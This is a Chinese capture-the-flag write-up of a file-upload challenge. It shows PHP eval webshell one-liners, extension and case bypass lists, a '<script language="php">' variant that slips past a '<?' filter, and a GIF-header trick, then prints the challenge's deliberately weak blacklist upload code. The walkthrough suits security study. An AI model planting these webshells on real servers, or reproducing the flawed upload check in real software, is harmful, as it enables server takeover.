又是个文件上传,漂亮的界面 先传个正常的图片上去 ???正常的图片传不上去,你这个网站的正常功能呢,后来尝试了真正的png和gif都不行,题目不太行,正常的不行,那就穿个php上去,先尝试正常的一句话木马
<?php eval($_POST('cmd')) ?>
和上图回显一样,都是no image,看来是有类型过滤,那么就通过抓包改文件类型 获得回显 看来对文件名的后缀还有检测,那么就换后缀名,常用的php后缀绕过有
php,php3,php4,php5,phtml.pht
还有大小写绕过
phP,pHp,PhP...
逐个尝试,发现其过滤是忽略了了大小写的,也就是大小写都是一样被过滤了,变形中只有phtml可以不被过滤,给出下面的回显
看来对内容还有过滤,这个时候只能换一个木马的形式了,改为没有<?的形式
<script language="php">eval($_POST['shell']);</script>
得到回显 看来还是没有传上去,加个文件头试试看这是GIF的文件头,可能对这个也有检测,再按前面的要求改好 成功了 文件上传的目录一般都是根目录下uploads或upload,都试一下看一看
这貌似没关目录读取权限,一看都是以前的人传的木马,话说容器都不删除的嘛 蚁剑链接成功,根目录下拿到flag 既然进去了,那就看看源码呗 先看看index.php,发现就是个表单,略过
<!DOCTYPE html>
<html lang="zh">
<style>
.button {
background-color:
border: none;
color: white;
padding: 8px 20px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 12px;
margin: 4px 2px;
cursor: pointer;
-webkit-transition-duration: 0.4s;
transition-duration: 0.4s;
border-radius: 8px;
}
.button:hover {
background-color:
color: white;
}
</style>
<head>
<meta charset="UTF-8">
<title>上传头像</title>
<link rel="stylesheet" type="text/css" href="css/reset.css">
<link rel="stylesheet" href="css/demo.css" />
<link rel="stylesheet" href="dist/styles/Vidage.css" />
</head>
<body>
<div class="Vidage">
<div class="Vidage__image"></div>
<video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted>
<source src="videos/bg.webm" type="video/webm">
<source src="videos/bg.mp4" type="video/mp4">
</video>
<div class="Vidage__backdrop"></div>
</div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
</br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
<div align="center">
<label for="file" style="font:20px Georgia,serif;">图片:</label>
<input type="file" name="file" id="file" >
<input type="submit" name="submit" value="提交" class="button">
</div>
</form>
<script src="dist/scripts/Vidage.min.js"></script>
<script>
new Vidage('#VidageVideo');
</script>
<div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div>
</body>
</html>
再看看upload_file.php
<!DOCTYPE html>
<html lang="zh">
<style>
.error {
font-family:Microsoft YaHei;
font-family:arial;
color:red;
font-size:40px;
text-align:center;
}
</style>
<head>
<meta charset="UTF-8">
<title>check</title>
<link rel="stylesheet" type="text/css" href="css/reset.css">
<link rel="stylesheet" href="css/demo.css" />
<link rel="stylesheet" href="dist/styles/Vidage.css" />
</head>
<body>
<div class="Vidage">
<div class="Vidage__image"></div>
<video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted>
<source src="videos/bg.webm" type="video/webm">
<source src="videos/bg.mp4" type="video/mp4">
</video>
<div class="Vidage__backdrop"></div>
</div>
<script src="dist/scripts/Vidage.min.js"></script>
<script>
new Vidage('#VidageVideo');
</script>
</br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
<div class="error">
<strong>
<?php
$file = $_FILES["file"];
$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");
$temp = explode(".", $file["name"]);
$extension = strtolower(end($temp));
$image_type = @exif_imagetype($file["tmp_name"]);
if ((($file["type"] == "image/gif")
|| ($file["type"] == "image/jpeg")
|| ($file["type"] == "image/jpg")
|| ($file["type"] == "image/pjpeg")
|| ($file["type"] == "image/x-png")
|| ($file["type"] == "image/png"))
&&$file["size"] < 20480)
{
if ($file["error"] > 0){
echo "ERROR!!!";
}
elseif (in_array($extension, $allowedExts)) {
echo "NOT!".$extension."!";
}
elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {
echo "NO! HACKER! your file included '<?'";
}
elseif (!$image_type) {
echo "Don't lie to me, it's not image at all!!!";
}
else{
$fileName='./upload/'.$file['name'];
move_uploaded_file($file['tmp_name'],$fileName);
echo "上传文件名: " . $file["name"] . "<br>";
}
}
else
{
echo "Not image!";
}
?>
</strong>
</div>
<div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div>
</body>
</html>
可以看到这一行 就是获取文件头的操作,也证实了之前的猜想,但是为什么正常图片不行,确实百思不得其解,只有当php直接改为jpg的时候是可以的,一个正常的图片不行,这是为什么呢?
|